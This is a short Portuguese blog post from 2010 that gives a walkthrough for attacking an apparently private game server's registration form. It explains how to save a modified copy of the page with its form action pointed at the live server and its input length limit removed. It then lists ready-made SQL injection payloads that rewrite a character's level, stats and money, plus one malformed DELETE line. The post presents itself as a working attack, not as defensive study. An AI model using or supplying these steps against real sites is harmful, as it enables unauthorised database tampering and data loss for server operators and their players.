sdsds

quinta-feira, 7 de outubro de 2010

Editando sem firewall

1- vc vai no site do server, vai na pagina de cadastro e clica com o botao direito lah! 
2- vc coloca mostrar codigo fonte, vai aparecer os codigos em html. 
3- vc aperta ctr+f e escreve form e aprte buscar! 
4- vc encontrara algo assim.FORM action= account.php method=post name=applMember onsubmit="return chkForm(document.applMember);" 
5- depois q vc axar vc minimisa e vai lah na pagina de cadastro novamente e naum escreve nada apenas pareta ok como vc fosse se cadastrar! aparecera uma pagina de erro. 
6- nessa pagina de erro vc clica o botao direito e vai em propriedades e copia a url q vai aparecer. 
7- + uq vc vai fazer com essa url? hehe vc volta ao codigo fonte e cola a url na parte de action. 
8- vai ficar assim FORM action=http://xgamesmu.servegame.com/index.php?op=account/account.php method=post name=applMember onsubmit="return chkForm(document.applMember);" 
9- agora vc aperta ctr+f novamente e escreve maxlength e aperta buscar. 
10- quando vc axar vai esta assim INPUT class=input03 
maxLength=10 name=Member_Id 
11- vc muda esse 10 para 9999 
12- prontu vc criou uma copia de uma pagina e a tormou de uma forma vuneravel pra q vc possa enviar os comando! 
13- quando vc for salvar o arquivo vc salva ele como .html 
14- prontu pagina criada + e agora? 

' UPDATE Character Set cLevel = '349' WHERE (Name = 'Rush')-- 
' UPDATE Character Set Reset = 9 WHERE (Name = 'Rush')-- 
' UPDATE ' DELETE Character = 9 WHERE (Name = 'Rush')-- 
' UPDATE Character Set Dexterity = 5000 WHERE (Name = 'Rush')-- 
' UPDATE Character Set Energy = 25000 WHERE (Name = 'Rush')-- 
' UPDATE Character Set Strength = 5000 WHERE (Name = 'Rush')-- 
' UPDATE Character Set Vitalit= 5000 WHERE (Name = 'Rush')-- 
' UPDATE Character Set Vitality = 5000 WHERE (Name = 'Rush')-- 
' UPDATE Character Set Money = 1000000000000 WHERE (Name = 'rush')-- 

Nenhum comentário:

Postar um comentário

Xat da fusion !